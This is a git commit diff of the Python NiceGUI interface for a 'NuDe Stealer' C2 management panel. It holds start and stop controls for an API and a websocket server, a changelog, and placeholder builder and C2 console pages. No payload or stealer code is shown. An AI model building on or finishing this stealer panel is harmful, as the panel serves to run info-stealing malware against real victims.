Initial commit

This commit is contained in:
unknown
2026-05-14 00:42:39 +02:00
commit dae8a0a4a1
37 changed files with 1226 additions and 0 deletions

BIN
ui/assets/25519.gif Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 968 KiB

BIN
ui/assets/25519.mp4 Normal file

Binary file not shown.

3
ui/dat.py Normal file
View File

@@ -0,0 +1,3 @@
ServerData = {
"api_port": "",
}

4
ui/ui_utils.py Normal file
View File

@@ -0,0 +1,4 @@
from ui.dat import ServerData
def change_data(key, value):
print(f"Changing {key} to {value}")

131
ui/ui_ux.py Normal file
View File

@@ -0,0 +1,131 @@
import threading
import nicegui as ux
from nicegui import ui
from serverside.helpers.config import get
from serverside.consts import __title__, running_tasks
from ui.ui_utils import change_data
PRIMARY = "bg-[#1E1E1E] text-white"
TITLE_SIZE = "text-[3rem] font-bold"
SUBTITLE_SIZE = "text-xl italic"
FOOTER_SIZE = "text-md italic"
def start_page():
ui.label("Welcome to the NuDe Stealer & C2 Management Panel!").classes("text-2xl font-bold text-center")
with ui.row().classes("w-full items-center px-6 py-3 gap-8"):
if 'server' in running_tasks:
ui.button("Stop API").props("icon=build color=pink-5").classes("w-full")
else:
ui.button("Start API").props("icon=build color=pink-3").classes("w-full")
if 'ws_server' in running_tasks:
ui.button("Stop WS").props("icon=build color=pink-5").classes("w-full")
else:
ui.button("Start WS").props("icon=build color=pink-3").classes("w-full")
ui.button("Join Telegram").props("icon=code color=purple-11").classes("w-full")
ui.input(label="API port", placeholder="seegore", value=get("network", "port", fallback="80"), on_change=lambda e: change_data("api_port", e.value)).props("inline color=pink-3").classes("w-full")
with ui.card().classes("w-full bg-[#1E1E1E] text-white rounded-lg border-2 border-pink-300 p-4"):
ui.label("NuDeStealer is an R&D post-exploitation C2 cross-platform framework written in a combination of V-lang and python, suitable for any red team operations you might have in mind.").classes("text-md")
ui.label("Changelog:").classes("text-2xl font-bold text-center")
ui.label("23/02/2026 - ~0xschoolshooter").classes("text-lg text-center")
with ui.element().classes("w-full overflow-y-auto rounded-lg border-2 border-pink-300 p-4"):
ui.label("- Initial release of the NuDeStealer C2 Server UI.").classes("text-md")
ui.label("- Features a lightweight and modern interface for managing your C2 server.").classes("text-md")
ui.label("- Server-side encryption.").classes("text-md")
ui.label("- UI/UX improvements.").classes("text-md")
ui.label("- Features Build page for creating payload samples.").classes("text-md")
def builder_page():
ui.label("Builder coming soon...").classes("text-2xl font-bold text-center")
def c2_page():
ui.label("C2 Console coming soon...").classes("text-2xl font-bold text-center")
def acc_settings_page():
ui.label("Account Settings coming soon...").classes("text-2xl font-bold text-center")
def credits_page():
ui.label("Credits").classes("text-2xl font-bold text-center")
ui.label("Software Solutions created by 0xschoolshooter").classes("text-lg text-center")
@ui.page("/")
def landing_page():
#ui.colors(primary="#1E1E1E")
ui.add_head_html('''
<link href="https://fonts.googleapis.com/css2?family=Montserrat:ital,wght@0,100..900;1,100..900&display=swap" rel="stylesheet">
''')
ui.add_css("""
body {
font-family: "Montserrat", sans-serif;
}
""")
ui.add_css("""
.fade-out {
transition: opacity 1.5s ease;
opacity: 0;
}
""")
with ui.row().classes(
"w-full items-center px-6 py-3 gap-8"
):
ui.label(
get("general", "app_name", fallback="NuDe Stealer C2")
).classes(f"{TITLE_SIZE} {PRIMARY}")
with ui.tabs() as tabs:
ui.tab("Start", icon="start")
ui.tab("Builder", icon="fingerprint")
ui.tab("C2 CONSOLE", icon="terminal")
ui.tab("Account Settings", icon="settings")
ui.tab("Credits", icon="coffee")
with ui.element().classes("w-full flex-1 px-3 py-3 flex justify-center"):
with ui.element().classes(
"w-full h-full p-4 rounded-2xl border-4 border-pink-300 shadow-lg flex flex-col"
):
with ui.tab_panels(tabs, value="Start").classes("w-full h-full bg-transparent flex-1"):
with ui.tab_panel("Start"):
start_page()
with ui.tab_panel("Builder"):
builder_page()
with ui.tab_panel("C2 CONSOLE"):
c2_page()
with ui.tab_panel("Account Settings"):
acc_settings_page()
with ui.tab_panel("Credits"):
credits_page()
footer = ui.footer().classes(f"{PRIMARY} justify-center")
with footer:
ui.label("Software Solutions created by 0xschoolshooter").classes(FOOTER_SIZE)
def fade_footer():
footer.style("opacity: 0; transition: opacity 1.5s ease;")
ui.timer(5.0, fade_footer, once=True)
"""video_uri = Path(__file__).resolve().parent.joinpath("assets/25519.mp4").as_uri()
v=ui.video(
video_uri,
autoplay=True,
loop=True,
muted=True,
controls=False,
).style(
"position: fixed; top: 0; left: 0; width: 100%; height: 100%; "
"object-fit: cover; z-index: -1;"
)
v.on("ended", lambda _: ui.open("/home"))"""
def start_ui():
threading.Thread(target=start_ui_thread, daemon=True).start()
def start_ui_thread():
ux.ui.run(title=__title__, reload=False, native=True, port=int(get("ui", "port", fallback=8080)), dark=True, show=False, window_size=(1050, 700))